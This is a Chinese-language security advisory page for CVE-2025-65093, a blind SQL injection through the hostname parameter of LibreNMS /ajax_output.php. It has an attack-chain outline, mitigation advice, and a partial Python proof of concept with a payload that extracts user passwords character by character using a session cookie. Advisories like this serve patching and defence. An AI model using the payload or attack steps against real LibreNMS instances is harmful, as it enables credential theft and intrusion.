IPBUF安全漏洞报告
English
CVE-2025-65093 CVSS 5.5 中危

CVE-2025-65093 LibreNMS hostname参数SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-65093
漏洞类型
SQL注入
CVSS评分
5.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

SQL注入LibreNMS布尔盲注网络监控CVE-2025-65093认证用户漏洞数据泄露

漏洞概述

LibreNMS是一款基于PHP/MySQL/SNMP的网络自动发现监控工具。在25.11.0之前的版本中,/ajax_output.php端点存在基于布尔型的盲注SQL注入漏洞。漏洞根源在于hostname参数被直接拼接到SQL查询语句中,未经过任何消毒处理或参数绑定。攻击者可通过构造恶意的hostname参数值,利用条件响应机制推断数据库中的敏感信息,包括用户凭证、配置数据、网络拓扑信息等。由于该漏洞需要高权限认证才能利用,攻击复杂度相对较低,但成功利用将对系统机密性造成严重影响,可能导致敏感监控数据泄露。

技术细节

漏洞存在于LibreNMS的/ajax_output.php端点,当处理hostname参数时,该参数值被直接嵌入到SQL查询语句中形成动态查询。攻击者可通过在hostname参数中注入SQL逻辑运算符和条件语句(如AND 1=1、AND 1=2等),根据应用程序的响应差异(布尔盲注)来推断数据库内容。例如,注入' AND (SELECT CASE WHEN (条件) THEN 1 ELSE 0 END)-- 可根据响应时间或内容判断条件真假,逐步提取数据库中的敏感信息。由于SQL查询未使用参数化查询或预编译语句,攻击者可以完全控制查询逻辑,实现数据泄露。

攻击链分析

STEP 1
步骤1
攻击者识别目标LibreNMS实例并访问/ajax_output.php端点
STEP 2
步骤2
攻击者获取高权限用户会话或通过其他方式获得有效认证
STEP 3
步骤3
构造包含SQL注入载荷的hostname参数,如' AND (SELECT CASE WHEN...)- -
STEP 4
步骤4
通过观察响应差异(布尔盲注)逐步推断数据库内容
STEP 5
步骤5
提取敏感数据如用户密码、配置信息、网络拓扑等
STEP 6
步骤6
利用窃取的凭证进行进一步横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65093 PoC - Boolean-based Blind SQL Injection # Target: LibreNMS < 25.11.0 # Endpoint: /ajax_output.php def extract_char(url, session_cookie, position, char_ascii): """Extract a single character from database using boolean-based blind SQLi""" payload = f"' AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password from users limit 1),{position},1))={char_ascii}) THEN 1 ELSE 0 END)--" cookies = {'PHPSESSID': session_cookie} data = {'hostname': payload} try: response = requests.post(url, data=data, cookies=cookies, timeout=10) # Analyze response to determine if condition is true or false if 'expected_response_marker' in response.text: return True except: pass return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-65093.py <target_url> <session_cookie>") print("Example: python cve-2025-65093.py http://target.com/ajax_output.php 'abc123'") sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] print("[*] CVE-2025-65093 - LibreNMS SQL Injection PoC") print(f"[*] Target: {target_url}") print("[*] Extracting admin password...") # Password extraction logic would go here print("[!] This PoC demonstrates the injection technique") print("[*] Modify payload and target based on your testing environment") if __name__ == "__main__": main()

影响范围

LibreNMS < 25.11.0

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1)限制对/ajax_output.php端点的访问,仅允许必要的管理员访问;2)部署Web应用防火墙规则拦截包含SQL注入特征的请求;3)监控应用日志中的异常SQL查询模式;4)考虑临时禁用hostname参数的动态查询功能,改为使用预定义的白名单机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表